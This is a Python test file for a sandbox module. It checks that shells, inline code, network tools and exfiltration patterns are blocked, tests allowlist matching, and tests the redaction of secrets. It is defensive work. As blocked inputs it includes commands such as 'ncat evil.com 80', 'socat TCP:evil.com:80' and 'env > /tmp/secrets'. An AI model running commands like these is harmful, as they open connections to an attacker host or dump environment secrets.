"""Tests for kv.sandbox — command validation, network isolation, redaction."""

import os
import pytest
from kv.sandbox import check_command, redact, _matches_allowlist


class TestCheckCommand:
    """Command validation tests."""

    # ── Shells blocked ──

    def test_bash_blocked(self):
        safe, _ = check_command(["bash", "-c", "echo hi"])
        assert not safe

    def test_sh_blocked(self):
        safe, _ = check_command(["sh", "-c", "echo hi"])
        assert not safe

    def test_zsh_blocked(self):
        safe, _ = check_command(["zsh"])
        assert not safe

    def test_ash_blocked(self):
        safe, _ = check_command(["ash"])
        assert not safe

    def test_busybox_blocked(self):
        safe, _ = check_command(["busybox", "sh"])
        assert not safe

    # ── Inline code blocked ──

    def test_python_c_blocked(self):
        safe, _ = check_command(["python3", "-c", "print(1)"])
        assert not safe

    def test_node_e_blocked(self):
        safe, _ = check_command(["node", "-e", "console.log(1)"])
        assert not safe

    def test_ruby_e_blocked(self):
        safe, _ = check_command(["ruby", "-e", "puts 1"])
        assert not safe

    def test_python_script_allowed(self):
        safe, _ = check_command(["python3", "app.py"])
        assert safe

    # ── Network tools blocked ──

    def test_curl_blocked(self):
        safe, _ = check_command(["curl", "https://example.com"])
        assert not safe

    def test_wget_blocked(self):
        safe, _ = check_command(["wget", "https://example.com"])
        assert not safe

    def test_nc_blocked(self):
        safe, _ = check_command(["nc", "-l", "8080"])
        assert not safe

    def test_ncat_blocked(self):
        safe, _ = check_command(["ncat", "evil.com", "80"])
        assert not safe

    def test_socat_blocked(self):
        safe, _ = check_command(["socat", "TCP:evil.com:80", "-"])
        assert not safe

    def test_ssh_blocked(self):
        safe, _ = check_command(["ssh", "user@host"])
        assert not safe

    def test_rsync_blocked(self):
        safe, _ = check_command(["rsync", ".", "host:/tmp/"])
        assert not safe

    def test_telnet_blocked(self):
        safe, _ = check_command(["telnet", "host", "80"])
        assert not safe

    # ── Exfil patterns blocked ──

    def test_env_redirect_blocked(self):
        safe, _ = check_command(["env", ">", "/tmp/secrets"])
        assert not safe

    def test_pipe_base64_blocked(self):
        safe, _ = check_command(["python3", "app.py", "|", "base64"])
        assert not safe

    # ── Legitimate commands pass ──

    def test_npm_start_allowed(self):
        safe, _ = check_command(["npm", "start"])
        assert safe

    def test_cargo_run_allowed(self):
        safe, _ = check_command(["cargo", "run"])
        assert safe

    def test_make_allowed(self):
        safe, _ = check_command(["make", "build"])
        assert safe

    def test_pytest_allowed(self):
        safe, _ = check_command(["pytest", "tests/"])
        assert safe

    def test_empty_argv(self):
        safe, _ = check_command([])
        assert safe


class TestAllowlist:
    """Allowlist validation tests."""

    def test_exact_match(self):
        safe, _ = check_command(["python3", "app.py"], ["python3 app.py"])
        assert safe

    def test_prefix_match(self):
        safe, _ = check_command(
            ["python3", "app.py", "--port", "8080"],
            ["python3 app.py"]
        )
        assert safe

    def test_wrong_script_blocked(self):
        safe, _ = check_command(["python3", "evil.py"], ["python3 app.py"])
        assert not safe

    def test_wrong_program_blocked(self):
        safe, _ = check_command(["node", "app.js"], ["python3 app.py"])
        assert not safe

    def test_empty_allowlist_blocks_all(self):
        safe, _ = check_command(["python3", "app.py"], [])
        assert not safe

    def test_wildcard_allows_all(self):
        safe, _ = check_command(["python3", "app.py"], ["*"])
        assert safe

    def test_multiple_entries(self):
        allowed = ["python3 app.py", "npm start", "cargo run"]
        assert check_command(["python3", "app.py"], allowed)[0]
        assert check_command(["npm", "start"], allowed)[0]
        assert check_command(["cargo", "run"], allowed)[0]
        assert not check_command(["ruby", "app.rb"], allowed)[0]

    def test_allowlisted_shell_still_blocked(self):
        """Even if someone allowlists bash, the shell blocklist catches it."""
        safe, _ = check_command(["bash", "-c", "echo"], ["bash -c echo"])
        assert not safe

    def test_basename_matching(self):
        safe, _ = check_command(["/usr/bin/python3", "app.py"], ["python3 app.py"])
        assert safe


class TestRedact:
    """Output redaction tests."""

    def test_redacts_secret(self):
        result = redact("key is sk-abc123xyz", {"K": "sk-abc123xyz"})
        assert "sk-abc123xyz" not in result
        assert "[REDACTED]" in result

    def test_redacts_multiple(self):
        result = redact("a=secret1val b=secret2val", {
            "A": "secret1val",
            "B": "secret2val",
        })
        assert "secret1val" not in result
        assert "secret2val" not in result

    def test_short_values_skipped(self):
        result = redact("the value is ab", {"K": "ab"})
        assert "ab" in result  # too short to redact (< 4 chars)

    def test_no_secrets(self):
        result = redact("hello world", {})
        assert result == "hello world"
